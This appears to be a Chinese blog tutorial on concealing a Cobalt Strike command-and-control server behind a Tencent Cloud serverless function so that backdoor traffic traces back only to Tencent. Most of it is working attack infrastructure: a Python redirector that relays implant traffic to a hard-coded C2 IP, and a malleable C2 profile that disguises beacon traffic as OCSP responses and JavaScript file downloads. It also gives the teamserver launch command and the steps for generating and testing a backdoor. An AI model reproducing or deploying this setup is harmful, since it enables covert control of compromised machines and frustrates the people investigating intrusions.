基于CS,隐藏C2服务端比较常用的有:
域前置,走cdn域名,利用云函数
但是近几年域前置寸步难行,所以走CDN和利用云函数比较常见,
刚刚起步走了不少弯路,所以记录下来,希望可以帮到大家:
简介:
腾讯云云函数(Serverless Cloud Function,SCF),可以为企业和开发者提供无服务器执行环境,无需购买和管理服务器,只要在腾讯云上使用平台支持的语言编写核心代码并设置代码运行的条件,即可在腾讯云基础设施上弹性、安全地运行代码。
优点:
所有的流量都是通过腾讯云函数进行转发,因此溯源后门只能得到腾讯云的域名和IP,且云函数的服务器是自带 CDN 的,能够很好的隐藏我们的C2服务器。
原理 :
原理其实很简单,由第三方提供的服务接收C2客户端流量,转发给C2服务端,避免直接暴露服务端,所以第三方服务最好有以下优点:
- 访问速度要快
- 价格实惠
- 主动提供cdn
本文以腾讯云+API网关为例
所需组件:
- CS4.0以上版本
- 腾讯云(能白嫖一年免费API网关)
创建云函数
- 登录腾讯云,云产品 =》 云函数 =》新建
- 选择从头开始
- 将以下代码复制粘贴到云函数,以下代码中的C2修改为自己的服务器IP,点击完成
# coding: utf8
import json,requests,base64
def main_handler(event, context):
response = {}
path = None
headers = None
try:
C2='http://45.xx.xx.45:80'
if 'path' in event.keys():
path=event['path']
if 'headers' in event.keys():
headers=event['headers']
if 'httpMethod' in event.keys() and event['httpMethod'] == 'GET' :
resp=requests.get(C2+path,headers=headers,verify=False)
else:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)
response={
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
except Exception as e:
print('error')
print(e)
finally:
return response
- 创建触发器
- 照这个修改
- 点击API服务名对触发器进行配置
- 将路径修改为【/】,然后点击立即完成
发布成功,到这里我们的云函数和触发器就配置成功了。
这里的公网域名就是我们下面要配置的cs主机:
配置cs
接下来就是配置cs,将以下代码保存为profile配置文件(不需要修改):
set sample_name "t";
set sleeptime "3000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";
http-get {
set uri "/api/x";
client {
header "Accept" "*/*";
metadata {
base64;
prepend "SESSIONID=";
header "Cookie";
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Server" "Nodejs";
output {
base64;
print;
}
}
}
http-stager {
set uri_x86 "/vue.min.js";
set uri_x64 "/bootstrap-2.min.js";
}
http-post {
set uri "/api/y";
client {
header "Accept" "*/*";
id {
base64;
prepend "JSESSION=";
header "Cookie";
}
output {
base64;
print;
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Connection" "keep-alive";
output {
base64;
print;
}
}
}
将这个文件放在与teamserver同一目录下就可以
启动cs:
./teamserver IP 密码 tecent_cloud_func.profile
客户端登录设置监听
启动cs客户端,添加监听器,跟正常的监听器一样,只是把原来的服务器IP换成了腾讯云网关API的域名,也就是我们第二步创建API网关触发器得到的公网域名:
保存,生成后门进行测试。成功上线